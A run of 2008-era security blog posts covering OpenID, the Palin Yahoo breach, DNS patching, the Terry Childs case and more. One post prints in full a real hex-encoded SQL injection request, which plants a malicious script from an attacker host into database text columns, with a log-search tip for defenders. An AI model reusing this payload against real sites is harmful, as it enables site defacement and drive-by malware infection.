UPDATE: We've had a great response and have assigned all of our beta invitations for the first round of testing, but please check the details below and let me know if you think you'd be able to help in a future phase!

I'm working with a software company to test some cool software that's currently in the early beta stage of development. The software is of a security nature and will be of interest to IT and security folks as well as individual computer users. We're looking for people with netbooks and notebook computers, especially ones with webcams built in, to test the software and provide feedback.

You'll be provided a test key and the beta software, and will need to honor the confidentiality provisions of the test program. It's nothing too complicated and the test risks are very small. You'll install the software, run through a few operational tests and let us know the results. We will ask first for technical results ("Did this work?") as well as your opinions and thoughts, should you wish to provide them.

What you'll need to provide and have available for the test:

• One or more notebook or netbook computers
• Computer(s) must be running Windows XP, Vista or Windows 7
• If it has a webcam built in, all the better (but not required)
• A Flickr account (basic account is fine)
• An email account and server information (for application configuration to allow sending of email alerts)

What you'll get as a result of testing and providing feedback:

• A free copy of the release version of the software when it's released (and you'll be glad you have it installed if your computer is ever lost or stolen, hint hint)
• Satisfaction and a sincere thank-you from me and the developers of the software

This software is quite interesting and has a lot of promise to provide real security value when it hits the streets, so we want to find as many complete test cases as we can. If you're interested, please email me at greg@greghughes.net and provide the details about your system, OS, etc - or call me at 503-766-2258. We are testing now, so let me know!

And thanks!

More than once someone has asked me if there is a way to get Google to change their search results to exclude mean, inaccurate, defamatory, rude, or otherwise hard-to-swallow web pages. Often the desire motivating the question is legitimate, as someone has been smeared unfairly or - even worse - in a completely fabricated and malicious fashion, sometimes by anonymous online personalities.

The short answer is, "Probably not."

Now, before you think the proper solution is to have Google block the pages from their search results, it's important to understand that Google is not the Internet, and that it's not really making recommendations to you when it lists web pages that match what you're looking for. Rather, it's showing you an extensive list of links to content out there on the Internet that seems to match what you're looking for.

And that's what Google's search engine is: A way to find information created by other people and displayed on the Internet. It's not a filter that's meant to decide good from bad, who's right and who's wrong, who's lying or telling the truth, etc.

That said, there are things that Google works hard to avoid showing you. Spammy pages (especially ones that try to game Google's own advertising systems) are filtered out, and there are a couple topics that won't return results in their adsense and adwords advertising systems (just try to set up adsense on a site that sells or promoted firearms, for example). So they're not completely hands off, but for the most part they don't discriminate.

When you want to have a web page removed from the search listings at Google, the most effective (and almost the only) way to do so is to convince the person controlling the web page to change the information or remove it. If you can't get them to do that, it might be time to go to a court - assuming you have convincing proof that the page is inaccurate and/or malicious, etc.

Granted, if a judge sends Google a legal notice requiring them to take action, they'll probably do so. But good luck getting a judge to agree to do that.

Always go after the source of the problem. It's not Google's fault that some mean person posted a page that says you're a jerk and thief (even though you're not). But you might be able to convince a judge that the person you claim is defaming you should change or remove the page. If that happens, Google's indexing bots will automatically update the search results the net time they crawl the offending pages and see the content has changed.

Matt Cutts has a good article (with a great graphic) discussing this. Here's a brief excerpt of what Matt tells people when they ask him the same question:

We really don’t want to be taking sides in a he-said/she-said dispute, so that’s why we typically say “Get the page fixed, changed, or removed on the web and then Google will update our index with those changes the next time that we crawl that page.”

His post prompted me to think about this again since I get this type of question several times a year. Just keep in mind that while it's an emotionally difficult thing to have someone write mean things and lies about you for all to see, it's a relatively clinical process to try to get that information changed or removed. Just make sure you stay calm and look to the right people to help with driving those changes.

Google's official page that addresses how to remove content from the company's search results is located at:

http://www.google.com/support/webmasters/bin/answer.py?answer=136868

I dropped into a Starbucks this afternoon, all prepared to get some emails written and to get some work done between my Sunday afternoon and evening commitments. Everything was fresh in my mind and ready to go via the keyboard and onto the screen. I fetched my grande two-pump sugar-free vanilla skinny latte and sat down in the chair, opened the laptop and watched it wake up and connect to the AT&T wireless access point.

But much to my dismay nothing would load over the network. The AirPort icon in the status bar showed the name of the network and indicated that I was connected to the access point, but I had no connection to the Internet.

After a brief bit of trying over and over to load a web page, I checked the network preferences in the apple system preferences panel and found that I was not getting an IP address. The Mac was self-assigning a 169.* address, which is a non-routable local-only address. I tried restarting the AirPort card in the Mac, but that didn't help. I then found I was able to connect normally with my iPhone to the AT&T WiFi network and get a "real" IP address (192.x), so I quickly deduced that something was wrong with my Mac.

I had to give up on troubleshooting and head back out into the world, but I spent the rest of the day wondering if maybe there was something about the MAC address for my wireless card that AT&T had chosen to hate. After finishing my day of activities, I drove home this evening and fired my laptop back up. It connected to my home wireless network. But again, no IP address assigned. Hmm, definitely the laptop.

I started thinking now. What could be happening? Powering the AirPort on and off, shutting down the Mac and powering it back up, manually telling the network stack to renew it's DHCP lease - all these things did no good.

I finally decided to take a look at the Mac firewall logs. You'd think that would be the first place I'd look, being a security guy. They're kind of hidden in plain sight, a few layers deep in the Mac's preferences dialogs. You go to the System Preferences panel, in the Security section, then the Firewall tab, then click the Advanced button, and finally click the Open Log button. If logging isn't already turned on, you can enable it there, as well.

Sure enough, I looked in the log and found several examples of this (emphasis mine):

Feb 8 23:02:04 greg-hughess-macbook-air Firewall[39]: Deny configd data in from 192.168.0.1:67 uid = 0 proto=17
Feb 8 23:02:26: --- last message repeated 2 times ---

Ah hah... Apparently the firewall was refusing inbound connections initiated by the router as it tried to set up the DHCP address being requested by the laptop. The configd daemon is a service that handles configuration changes for various pieces of the system, mostly all network-related. Great, I had something to fix!

I first confirmed configd was in fact running, then deleted the firewall configuration file (located at /Library/Preferences/com.apple.alf.plist) and configured the firewall to temporarily allow all connections, and then back to allowing essential services. Sure enough, as soon as I made the changes the Mac was able to get a DHCP address from the router, and the network was back up and working.

I have no real idea how the firewall got messed up. At one point I had it set to configure access for specific services and apps, so that might have had something to do with it. But it's strange that this problem only started today. It's possible the configd process was denied by a rule, I suppose. Perhaps I hit a key on a pop-up dialog to deny firewall access to the daemon without even realizing it while typing?

At any rate, it seems to be working now (as evidenced by the fact that I am able to post this blog entry, of course) and hopefully it will continue to work as expected. Maybe this will help someone else troubleshoot a similar issue.

While at the TechEd EMEA conference is Spain this week, I had the opportunity to visit with Thomas Dawkins from Microsoft's Trustworthy Computing Group. He's the guy responsible for the Microsoft Security Assessment Tool (or MSAT for short). The MSAT is a tool that's been around for a couple of years, but it was recently updated by Thomas with some great new enhancements, including a new user interface and a stronger, more complete set of back end information.

MSAT is a free tool that you can download from Microsoft. It's targeted to companies of 1,500 employees or smaller (as a general rule) and follows a questionnaire format to assess weaknesses in the IT security environment. Bt it's not a parching tool or a scanning tool. Instead, it leverages standards like ISO 27001 and NIST-800.x to baseline the security readiness of your organization.

It enables people to do what we security professionals hope for: analysis across each of the people, process and technology elements of a business' computing environment in order to ascertain how and where we need to spend our time and energy. The tool not only describes the state of readiness of the assessed environment, it also provides best-practice recommendations rooted in industry-accepted standards that can be used to improve the organization's security stance.

One of the most likely users of a tool like this is the IT manager, but one can also picture security consultants, business managers, and anyone else with responsibility for an organization's security operations leveraging the tool and the reports it generates.

You'll also likely be interested to know that Microsoft has released the fifth version of its Security Intelligence Report, which looks at the state of computer and information security over the past six months. You can find links to the full report and the key findings summary documents on Microsoft's web site.

It's really the classic case study in information (in)security and the need for strong authentication. With all due respect to the good people at Yahoo!, this opportunity to review Internet security mechanisms is too good and too useful to pass up.

By now, we all know Republican vice-presidential candidate Sarah Palin's Yahoo! email account was broken into on Tuesday night (read the link to get the details). Apparently (and fairly obviously), access was gained via the forgotten password mechanism on the Yahoo! webmail interface, which allowed the malicious person to reset the profile's password with just a few pieces of information about the Alaska governor (birthdate, ZIP code and a piece of info related to where she met her spouse) that could be easily discovered by searching Google. That fact that so much of Palin's life history has been documented on the Web makes her that much more vulnerable to knowledge-based security mechanism hacks. It should also be noted that some security questions are better (or stronger) than others, so it's important that questions you choose for online protection are not ones that can be answered with information available on the Internet.

We security folk frequently talk about something called "multifactor authentication." By "multifactor" we mean an authentication process that requires two or more of the following:

• Something you know (passwords, user names, answers to questions)
• Something you have (token, device, phone, etc.)
• Something you are (physical fingerprint, voiceprint, or other biometric measure such as a verifiable, non-spoofable behavior (some call this "something you do"))

Most multifactor auth systems are pretty easy to recognize. You know them when you see them. Those key fobs or cards with the revolving digits that you have to provide at login are a common example. They're also fairly expensive and complicated. Some multifactor technologies are easier to use than others. There are a variety of behind-the scenes systems that track user behavior and other markers to determine if the person accessing an account is the legitimate user or a bad guy, for example. A well-designed and well-implemented system balances usability with security strength, and some systems yield higher results in that regard than others.

In this particular case, the bad guy was able to leverage only things he knew (found via a search engine) to change the password on the account and gain access to the Yahoo! Mail account. No other verification or mechanism was required. That's simply weak security in this day and age.

I walked through the account password reset system on my Yahoo! account, just so I could get a first-hand look at how it works and how simple it is to reset an account there. Honestly, it was a little too easy. Here are the details (you can click each image to see them full-size):

First of all, I selected the option on the login screen that says, "Forgot your ID or password?"

Next I was prompted either to supply an email address for reset, or to choose the option to reset without access to a registered email account (which to me was an immediate red flag). Obviously, I chose the latter.

This is where the security mechanism breaks down. I'm immediately asked to answer a "secret" security question. This process is called knowledge-based authentication. It's an additional layer of validation in a single-factor authentication scheme - I have to provide "something else I know." Even in my case it's information that could be fairly easily discovered (assuming I answered the question accurately). It should also be noted that in order to change my security question, I need to contact Yahoo! customer support (which I did).

Once I supply the correct answer to a single question, I'm immediately allowed to change my password. At this point it should be noted that if I was prompted to answer multiple questions in this validation workflow, using some randomization of questions and setting a time limit to answer each one, that would at least make it more difficult for someone to gain unauthorized access. Systems are available to do exactly that (I know, I used to manage a team that built one such authentication app).

I'm asked to verify my ZIP code and country (just for profile information), and that's it. Note that other analyses of this process seemed to say that providing the ZIP code and Country was required to reset, but that was not the case in my review. In fact, it appears the bad guy is just being handed that information after changing the password, for free. Take that info, stick it in your Google and smoke it: More search accuracy for the next phase in your attack. Not good.

I'm then notified that my account is now "up to date." I also got an email notifying me of the changes that were made to an account I had tied to the Yahoo! profile for communication purposes. At least I can rest assured that I'll get an email before the bad guy goes into my profile and removes that address from the account.

I think you're starting to get the picture. The authentication mechanism is only as strong as it's weakest part, and the fact that I have an option to reset without ever having to leave the browser window is a problem. Even changing the system to require that I receive an email (which is already the standard reset mechanism) would be better. As it stands today, that's an option, but not a requirement.

Many will argue that hey, it's just an email account, and that Yahoo! can't be expected to implement stronger security on their site as a requirement. I say that's flat out wrong (and what the account was or wasn't used for isn't particularly relevant to this analysis). Email is the number one mechanism used to move information - both innocuous and sensitive - among people. The fact that it's not the best mechanism for doing so ignores the fact that it's how people do things. There are a variety of options available to help ensure only authorized users can get access to email accounts. The fact they are not regularly implemented is a sad state of affairs.

There are many options to strengthen the identification and authentication processes. We can't discuss them all here, but a couple on my mind are described below.

Physical tokens - Making the jump from only having to remember a user name (which is usually the email address, so hardly a secret ) and a password to a scheme where one must carry a token and provide information from it in order to log in is quite a leap (carrying yet another piece of technology around doesn't exactly appeal to me), but it works. The costs associated with fulfilling, supporting and maintaining such a system are very real, and for Yahoo! may not be realistic. But there are systems available to those who know and choose to use them that can substially improve your authentication profile. Check out Omar Shahine's recent blog entry describing how he's securing his accounts in a few ways, including with an OpenID-integrated single-sign-on token system from Verisign.

But, even if you use an OpenID to sign in, what if your OpenID is a Yahoo! ID or other identity that you can reset with a single piece of discoverable knowledge? It still needs to be protected from unauthorized changes and access.

How to do that? There are several ways. I have a couple of favorites, but please feel free to share yours.

Require security changes to take place out of band - One option, probably quicker and less expensive to implement than physical tokens, is using something like an automated telephone call or text message to require the owner of the account to verify a change should be allowed. By registering one or more phone numbers when the account is created and requiring a unique secret be provided via that channel to authorize a change, one can sufficiently secure the account. Vidoop uses a system like this for resetting information on their OpenID accounts. It's simple and it works. It requires me to have the correct device (my phone), uses a different communication channel (the phone network, hence "out-of-band") to contact me and then verifies I am a legitimate user. It requires me to interact as part of any change.

But the technology options get even better: JanRain's myOpenID, for example, now has a feature called "CallVerfID" that equips your myOpenID for two-factor authentication via the phone. It's quick and easy to set up and instantly protects every login with a multifactor authentication mechanism. I found I was not able to use it with a couple phone services due to the way they answer the call (I should provide feedback about that, added to my to-do list), but when set up for my cell or home phone it works as advertised.

Expect more of this class of technology in the future. Think, for example, about voice biometrics: Is that really you that's answering your phone? That kind of technology would be very cool if it was reliable. It's a complicated but useful technology that's being refined even as we discuss this.

I would guess that "review of all Internet email accounts" has been added to every campaign manager's list of things to do deal with early in the vetting process (not to mention the Secret Service's list). Any of the technologies above would likely have prevented the malicious bad guy from accessing the Yahoo! email account.

In the security world, change only happens when enough people make enough noise, a regulator gives an order, or enough companies feel enough financial pain. This looks like one of those cases where noise is the better option. It's certainly better than regulatory mandates (which tend to create collateral damage), and waiting on big companies to suffer is not exactly a reliable plan.

So... Feeling okay? How safe is your account, really?

Over at Wired's Gadget Labs blog, Brian Chen writes about information discovered during a webcast presentation on Thursday covering the recently discussed iPhone security weaknesses having to do with bypassing the password-protected lock screen.

Jonathan Zdziarski, a data forensics expert and author of the forthcoming book "iPhone Forensics," did the presentation for law enforcement personnel and anyone else who might have a need to access an iPhone to discover information. During the presentation, in which he outlines a method for breaking into the phone with modified firmware and some hairy manipulation, he also showed how the iPhone takes a screenshot of every application the iPhone's user closes by pressing the "home" button. The saved image is used to "draw" the collapsing screen animation you see when your application closes and you're returned to the home screen. The image file is then deleted from the iPhone's storage.

But, nothing is ever really completely "deleted." And in this case, apparently when the temporary image file is killed from storage, the data "on-disk" is not overwritten or otherwise cleaned, so anyone with some basic forensics knowledge can search the iPhone storage space for the old files and recover them easily. You can do the same thing on pretty much any computer.

Depending on your point of view, this is either a potential privacy issue or a great forensics feature. Having worked as both a police officer and as a business security professional responsible for privacy and data integrity issues, I can understand both arguments. Certainly as a cop, being able to dig into someone's iPhone (with a proper warrant of course) to find evidence of crimes where the phone was used in some manner is of real value, and screen shots are potentially pretty useful evidence. But as a person who also values privacy as a matter of basic principle, it's a little disconcerting, especially since I didn't realize until today screen shots are being made.

The webcast recording is not yet available as of the time of this writing, but it should be posted to http://www.youtube.com/OreillyMedia in the next few days. If you're interested in learning something about electronic data forensics, it will be worth the time to check it out. Here's the O'Reilly abstract from the session:

In this free, live webcast, iPhone hacker and data forensics expert Jonathan Zdziarski guides you through the steps used by law enforcement agencies to bypass the iPhone 3G's passcode lock by creating a custom firmware bundle. Author of the upcoming book, iPhone Forensics, Jonathan has devoted much of his talent supporting law enforcement personnel with his development of a forensics toolkit that allows them to recover, process, and remove sensitive data stored on the iPhone, iPhone 3G, and iPod Touch. This live presentation is aimed towards law enforcement and anyone else who has a need to access the not-so-readily available data on an iPhone.

Google seeded a paper comic book to some people recently, to present and describe their future web browser (or you might just think of it as the web browser of the future), which is called Google Browser or Chrome.

So, what's the story? Making the browser more stable, more usable, more secure. At first glance, it looks like a strong starting point for the future of Internet browsers. Written from the ground-up from scratch and with the experience of several years of past browser platforms to learn from, Google has addressed many of the main concerns in today's browsers.

Now the only question is: When will we get it? I will be watching here to see if something shows up. Hopefully it's soon!

UPDATE: The release date is tomorrow (Tuesday, September 2, 2008) - More info and link to screenshots here.

A variety of technologies are incorporated into the Chrome design that improve on common browser weaknesses. The key improvements fall into the areas of stability (memory allocation and management, process management), some incredibly cool javascript environment enhancements (in the form of a new, open-source javascript engine), a bunch of user experience improvements and significant security changes.

And, it's all open source. That's right - Anyone (including other browser makers) can leverage the work done in the Chrome project and can contribute or modify to meet their own needs. Good move, Google.

Pretty exciting stuff. It will be fun to see what comes next, and when.

Vidoop Labs has a dream:

The dream is to see Identity baked into all browsers. Just imagine opening your web browser and then selecting your Identity Provider (IDP) the way you select your default search provider. The benefits are numerous; never type in a username, never look for a login button/page (you are authenticated when you land on a domain), no phishing/MITM (the browser can do domain and SSL cert validation). You fire up your browser and authenticate (or login) similar to the way you log in to your computer every time you turn it on. The difference is you get to choose your provider and can take control of the data you safeguard, store and share on the Internet.

I could get into that.

Vidoop is a Portland, Oregon company that has built some interesting technology around OpenID. I really like the idea of OpenID, and I have a couple OpenIDs of my own that I use on various sites. But OpenID is not exactly perfect. It's still relatively young, and from the usability standpoint it needs improvement. The identity and authentication requirements of the modern Internet demand some additional features and capabilities that OpenID doesn't deliver (and you can argue that it shouldn't). By combining openID with other technologies (such as Information Cards and other strong-auth offerings) and improving usability for end-users, it could become a widely-adopted, used and trusted standard, or part of a broader one covering strong authentication and identity protection/assertion in a commonly-accepted and deployed package.

Vidoop's Luke Sontag today posted an announcement that the company's newly-formed Vidoop Labs has fired up a community project called IDIB (pronounced "Eye-Dib"), which aims to improve on the OpenID usability model and make it stronger at the same time. They've released a developer preview of IDIB in hopes of involving people and getting your input and feedback.

From the Vidoop announcement:

Over the past few years we’ve seen the adoption of OpenID continue to increase but the work that we’ve done as a community to develop this technology has only just begun. Looking at the landscape of OpenID adoption, its clear that there are several key factors inhibiting adoption, but two that we want to focus on today, namely usability and security in the browser.

It was almost two years ago when the Firefox 3.0 roadmap wasannounced and OpenID was mentioned as a new component to the platform. The Mozilla Firefox team looked to members of the OpenID community to step up and provide guidance on what exactly we imagined identity in the browser looking like, but we failed to mobilize and answer their call.

In light of that missed opportunity, Vidoop Labs has been working hard over the last several weeks to produce a prototype that we intend to use to initiate a wider discussion about OpenID in the browser and what it might look like.

And the current developer preview (which is open-source) is just a beginning. Imagine leveraging Information Cards (such as one would use with Microsoft's CardSpace, or the similar open-source offerings for Mac and Linux) in the cloud, and being able to use OpenID - one logon for all your web sites - confidently, securely and with proper security protection.

The Internet needs a good, strong, reliable, usable and secure standard technology to solve the issues related to user names, passwords, single sign on and identity protection. IDIB looks like a serious and positive attempt to start the journey directly down that path.

Well, this is a little embarrassing. Intergalactic malware has made it's way into the news. A computer virus on the International Space Station. No AV software on the laptops they use, nor (apparently) is there a process of security checks on personal computer equipment like USB thumb drives carried by astronauts being rocketed to the International Space Station.

Granted, the virus in question in this case is pretty innocuous, and apparently other viruses that have made it into space aboard computer gear in the past (it's really quite difficult to mention that in passing) have also been more of an inconvenience than a real security threat.

But imagine a virus that might make its way on-board and do more damage. Not good. It looks like it's time for some effective process and possibly some basic security technology - You know, just in case.

The author of that virus has something new to brag about, though. That's for sure.

A bunch of IT and web-app teams have lost a lot of sleep lately...

Over the past several days, a significant number (in the thousands) of web applications, some of them well-known and well-used, have fallen victim to a distributed SQL injection attack that takes advantage of weak or non-existent input validation to inject malicious HTML code that then performs a drive-by malware attack on unsuspecting visitors. Since visitors to your site trust it, if your site has been hacked they are more likely to allow the malware to install on their computer (especially if, for example, the malware is delivered in the form of a browser helper object or something along those lines).

The malware in question appears to steal WoW account information and insert a back-door (trojan) program on PCs it infects (among other things).

Web sites that do not properly validate all input - and by proper I mean trust nothing by default and only allow input that specifically matches what is appropriate - and which run on a Microsoft SQL server back-end (and possibly other database servers that use the same basic table structure) are at risk. I've observed web sites running on both Apache and IIS that have been hacked, the only common thread is SQL server (despite reports to the contrary).

About data validation...

I've personally spoken with people from a few companies who have had to contend with the fact that their sites were attacked in this manner over the past several days. In each case, they were utilizing a so-called "black-list" (or "deny-list" to be a little more appropriate) of bad input in their application logic. The problem with black-listing is the cases where you don't realize something should be on the list, or when new threats emerge. Instead, a white-list (or "allow-list") methodology requires you to specify what input is allowed. Your application won't change much over time. The threats will. Deny all by default, it's the only safe way to go.

UPDATE: Neil Carpenter mentions in the comments here that he recently posted an excellent blog entry about using parametrized queries in SQL server, and he makes some great points. While input validation is a useful and often appropriate layer of security (not all apps are database-driven), solving this specific type of problem using his method is an important idea to look at and leverage. A layered conbination of both input validation (where it's practical and workable) and paramaterized queries is a good approach, in my opinion.

The attack

Secure Computing's TrustedSource (good site, read it) has some detail about the attack...

You'll see this in your web server logs (assuming you are logging, and you sure as heck better be - more on that later):

GET /?';DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1

Which is a hex-encoded injection that, when translated, creates this SQL statement string (bad-guy address has been removed):

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>

To search your web server logs for any offending lines, look for "DECLARE" anywhere in the query string. That's a dead give-away. You'll find attacks from various unsurprising countries including North Korea and China (or at least what's where I have seen them coming from).

How to solve?

First of all, if code like this can get through the web application and into the database, I'd recommend a complete review of the web app from a security standpoint. Basic best-practices for web applications assume that you will trust absolutely no input by default, and then examine all input to see if it is in a format and of a type that is appropriate. And it's very important to recognize that by "input" we mean any type of input vector - whether it be form fields, query string, URI, session data, etc. Input validation should be done on the server side, not just the client side (turning off javascript and manipulating data en-route to the server is pretty easy, after all).

If you need a tactical approach to block this particular threat right now while you plan validation improvements, I'd recommend what many people are doing: Monitor all the input with your web server, and re-write the offending statements to something innocuous. That's a band-aid, but it can help in the short-term with this one particular need. In addition, you could use application-layer firewalls in from of your web server/farm to do the same thing. But neither of these approaches would be considered acceptable as a complete or permanent solution. You can certainly keep them in place after an app fix, as part of a layered security approach. But ultimately the site needs to be coded properly and not allow the bad input.

HP recently released a tool that you can use to check for SQL injection vulnerabilities specifically called Scrawlr. You can find it, and related information, here.

Scrawlr, developed by the HP Web Security Research Group in coordination with the MSRC, is short for SQL Injector and Crawler. Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities. Scrawlr is lightning fast and uses our intelligent engine technology to dynamically craft SQL Injection attacks on the fly. It can even provide proof positive results by displaying the type of backend database in use and a list of available table names. There is no denying you have SQL Injection when I can show you table names!

If you are dealing with this attack or have related thoughts, please feel free to post in the comments with your experiences.

Last week we published an interview that Richard and I did on RunAs Radio with my friend and former co-worker, Simon Goldstein. Simon's a real pro and is good at explaining complicated business relationships and processes.

We cover risk management for IT professionals: What is it, what do you need to know, and why does it matter? As with all of our weekly RunAs Radio shows, it's about 30 minutes long and we cover a lot of ground in that time.

RunAs Radio, Show 67 - Simon Goldstein on IT Risk Management (38 minutes)

Note: You can find all our podcast feeds in the table here, and you can also subscribe to get the show every week in iTunes by clicking here.

Over on the Internet Evolution site I recently wrote an article discussing the fact that MySpace is becoming an OpenID provider. Of note is the fact that they will be provider-only, and not a relying party, at least initially. This is a trend we've seen with other big companies like Yahoo!, and many of us are not-too-patiently waiting for these companies to start trusting and relying upon other organizations, so the utopia of user-controlled Internet single-sign-on can become a reality.

That begs the question, "What will it take to achieve the level of trust and confidence needed to make it easy for these big provider companies to join the relying-party crowd?" I'm certain there are plenty of detailed conversations and that things are being hammered out and actively discussed behind the scenes at all these major companies, but I tend to think about these things out loud anyhow.

So, I hope you'll read my article and thoughts over on Internet Evolution and that you'll take advantage of the opportunity to comment there. I'd be interested to know what you think.

The DNS vulnerability discovered earlier this year by Dan Kaminsky, and recently patched by DNS software providers in an unprecedented cross-vendor cooperation, has graduated from vulnerability to exploit-in-the-wild.

According to Kaminsky, 52% of the DNS servers on the Internet are still vulnerable, better than the number of exploitable systems just a few weeks ago when the patches were released by all the vendors.

Kaminsky has written up a plain-language helper guide to explain the problem to non-technical (read: management and decision-making) people. There's also a Black Hat webcast with Kaminsky available where he details the vulnerability and discusses the fixes.

Read more at Ars Technica.

In the case of Terry Childs, a network admin who gained notoriety recently for locking the City of San Francisco and his managers out of their own critical network, comic-book style progress has been made, with Childs' attorney inviting the mayor of SF to a secret meeting at the jail, where Childs handed over the passwords he'd previously refused to disclose.

Childs' lawyer, again in typical comic book fashion, has also come out saying that Childs' actions were essentially noble and that he was acting to protect the network he built from his management and peers, whom he characterized as being neglectful and without the proper knowledge to support the network. About what you'd expect from a defense lawyer in a public case, I suppose.

But Childs is in no way a hero. Even if what he says is completely true, he's (allegedly) committed a real crime. He does not own that network even if he helped build it, and regardless of whether the management in his department was capable of exercising its responsibilities, when Childs locked everyone out he crossed a clear line. If it was to make a point, he simply went overboard. The whole unfortunate case just smacks of ego and manic behavior.

But from arm's length the city doesn't exactly look like a helpless victim, either. Any professional management team that creates an environment where one person can control a critical and sensitive network in the manner exercised in this case has missed some of the most crucial and common-sense aspects of IT and security design. In fact, most of the time when cases of one-man-too-much-power crop up, we find that the IT staff is also responsible for security with little or no separation of duties, no checks and balances, and no controls to ensure one bad apple doesn't ruin the whole barrel.

Was Childs right? Absolutely not. Was the City wrong? I don't see how you can argue otherwise.

You'd likely be surprised how many real-world computer networks - big and small, important and less so - are run on the concept of "we just trust that one guy." It's what we call a "Beer Truck" risk problem: If I'm that guy you trust, what if I get hit by a beer truck and killed, or alternatively what if I drink everything on that beer truck and go nuts and wipe out the network? What then?

Systems should be set up to ensure no one person holds all the keys. Over the past few days I've read comments made about this story, in many cases by angry IT-types who say if you hire someone you have to give them access to everything and you have to trust them to do the right thing. Otherwise they cannot do their job, you're a terrible person and your network and systems are doomed. That premise is simply and blatantly false, and in fact following that method puts you in the same boat the City of San Francisco has just found itself in. Please, don't listen to the old-skool IT admin crowd, telling you to hand it all over to them because you obviously don't know what you're doing. Fire those guys and find some real help.

If you want a healthier view of the situation, check out articles written by smart, thoughtful people, like this one by Paul Doyle. Also, Paul Venezia wrote an in-depth article about what went wrong, with some detailed inside information.

To be clear, no one person should control all the systems. Control and authority are not the same thing. Checks and balances are important. The Air Force doesn't allow one person to perform all the steps needed to launch a ballistic missile, right? Apply the same principles to your IT systems.

Case in point: I was the chief security executive at a major online financial services company. I had administrative access to nothing. I couldn't even get in the data center without an escort and records being kept. I had no account access to critical or sensitive systems. And no one person there could make changes in a vacuum. IT workers didn't have access to security systems. Security workers didn't have administrative access to anything by default. And we operated effectively, smoothly, with full knowledge of what was happening on the network and systems. No one person had control. Authority, sure. But actual control of systems? No. To operate otherwise would have been negligent.

I often preach the value of formalizing security management and putting proper process, technology and organization in place to ensure a good, stable system that can effectively support business. One of the pillars of an effective security management system is hiring good people (probably not ones who have been convicted of aggravated robbery in the past, sorry) and separating duties in a way that protects everyone involved - employees included. Doing so is not punishment, it's just good common sense.

If nothing else, lets hope businesses and governments all over learn from this embarrassing public spectacle. There are standards out there (my background and experience is in ISO 27001, an international security management standard), the very purpose of which is to make sure things like this don't happen. It's high time to start using them.

DNS has a hole in it. Bad guys are working on exploits right now. Patches are available right now. Anyone responsible for a DNS server needs to exercise that responsibility. Right Now.

Dan Kaminsky found a security hole in DNS recently, the details of which he was keeping quiet so providers could fix and release patches and DNS server owners could get those patches deployed, in order to avoid security breaches on the Internet. His intent was to release the gory details in a couple weeks at the Black Hat conference.

But the other day word of the details inadvertently leaked out, and so now everyone responsible for a DNS system must - and I do mean must - drop what they're doing and make sure their systems are patched and safe. Failure to do so puts Internet users at risk of site fraud and hijacking.

DNS is a system that translates names you can remember (like www.greghughes.net) to especially non-memorable numerical addresses the Internet can route (such as 208.109.238.146). It's the Internet's phone book, so to speak.

The security hole allows malicious people to spoof a web site using the actual, legitimate domain name. In other words, bad guys could hijack a DNS server, and if it happens to be one your computer relys upon, you could type in a legitimate address like www.google.com or www.yourbank.com, but the web page would be a malicious one - a fake. The recently-released patches plug the hole and prevent this misuse (although it doesn't really change the underlying protocol).

Aaron Massey wrote a very good post describing the issue and it's various details. He also links to Halvar Flake, a talented reverse-engineering guy who thought the threat through and pretty much guessed it right on his blog. After Halvar's guess, another security blog that had specific knowledge of the threat details confirmed Flake's hypothesis. As a result, the threat was disclosed.

Luckily, the various creators of the DNS systems used all over the Internet released patches about two weeks ago. The real question is, have you patched your servers? This is a critical flaw - it needs to be patched immediately.

If you want to know whether the DNS server your computer relies upon is vulnerable or not, you can use the DNS Checker in the sidebar of Kaminsky's blog (as long as it remains there).

Chances are, if you're reading this around the time I am writing it, that your computer is not exposed to an IPv6 network. You're most likely on an IPv4 (classic) network. You can easily tell by trying the quick IPv6 test on this page.

Even if you're not on the new network stack yet, change is happening, and systems have to be adapted to make sure not only that the new network works (most - but not all - modern hardware and software "understands" IPv6), but also that when you do actually start to operate in an IPv6 world, that you are properly secured.

In an effective security world, you need to put protections in place soon enough, meaning before the threat appears. You have to protect proactively, without waiting for bad guys to exploit a network or system. In the case of the IPv4 to IPv6 transition, that means making sure things like intrusion prevention and detection systems, firewalls, and other software and devices that function in the network layer even know how to "talk" the IPv6 language.

A number of current security applications just don't know how, so now is the time for a call to action: IPv6-enable your technology right now, to prevent opportune threats in the future. Don't get caught with your pants down.

Kim Zetter wrote a good article on the subject the other day at WIred. "The Ghost in Your Machine: IPv6 Gateway to Hackers" outlines quite well the potential threat imposed by a lack of readiness from a security perspective. It's not all bleak and terrible news, but as the article makes clear, now is the time to fix the problem, before something bad happens.

Probably the most difficult aspect of understanding the potential issues introduced by an environment not ready for IPv6 is the lack of awareness among IT folk in general as to how IPv6 works, how it's used, and the services (quite good ones, I might add - take a look at how IPsec is baked right in, for example) integral to the protocol.

